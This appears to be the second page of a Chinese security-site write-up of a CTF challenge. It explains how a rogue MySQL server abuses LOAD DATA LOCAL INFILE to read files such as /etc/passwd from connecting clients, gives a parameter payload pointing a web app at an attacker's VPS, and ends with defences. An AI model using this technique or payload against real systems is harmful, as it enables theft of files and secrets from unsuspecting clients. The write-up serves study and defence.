欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

从一道ctf题学习mysql任意文件读取漏洞

来源:本站整理 作者:佚名 时间:2019-03-17 TAG: 我要投稿

即意为客户端本地的/etc/passwd文件插入了服务器的test表中。
服务器此时会回复一个包含了/etc/passwd的Response TABULAR包。


接着客户端就回复给服务端本地/etc/passwd中的内容。

正常的请求逻辑如下
sequenceDiagram
客户端->>服务端: Load data infile '/etc/passwd'...
服务端->>客户端: Response TABULAR
客户端->>服务端: Content in /etc/passwd
这是正常的情况,即客户端发送一个load data infile 请求,服务器回复一个Response TABULAR,不会出现什么问题。但是Mysql允许服务端在任何时候发送Response TABULAR数据包, 此时就跳过了第一步,实现了任意文件读取的目的。
sequenceDiagram
客户端->>服务端:
服务端->>客户端: Response TABULAR
客户端->>服务端: Content in /etc/passwd
恶意mysql服务器只需要完成mysql连接的握手包,然后发送出这个Response TABULAR包,即可收到客户端传来的文件。
在刚才的phpmyadmin实例里抓包,可以看到该恶意服务端发包和客户端发送数据的包内容。

这里给出github上的恶意mysql服务器地址。
这就是整个漏洞的分析过程,最后回到开始那道ctf题,答案也是显而易见了。在vps上开启一个恶意mysql服务器并监听。然后在浏览器输入payload
host=VPS_ADDR:EVIL-MYSQL_PORT&user=root&passwd=root&database=ddd
即可在服务器的mysql.log里看到flag

 
漏洞防御
关闭local_infile参数,禁止导入本地文件
开启--ssl-mode=VERIFY_IDENTITY参数,防止连接不安全的mysql服务器。
 

上一页  [1] [2] 

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载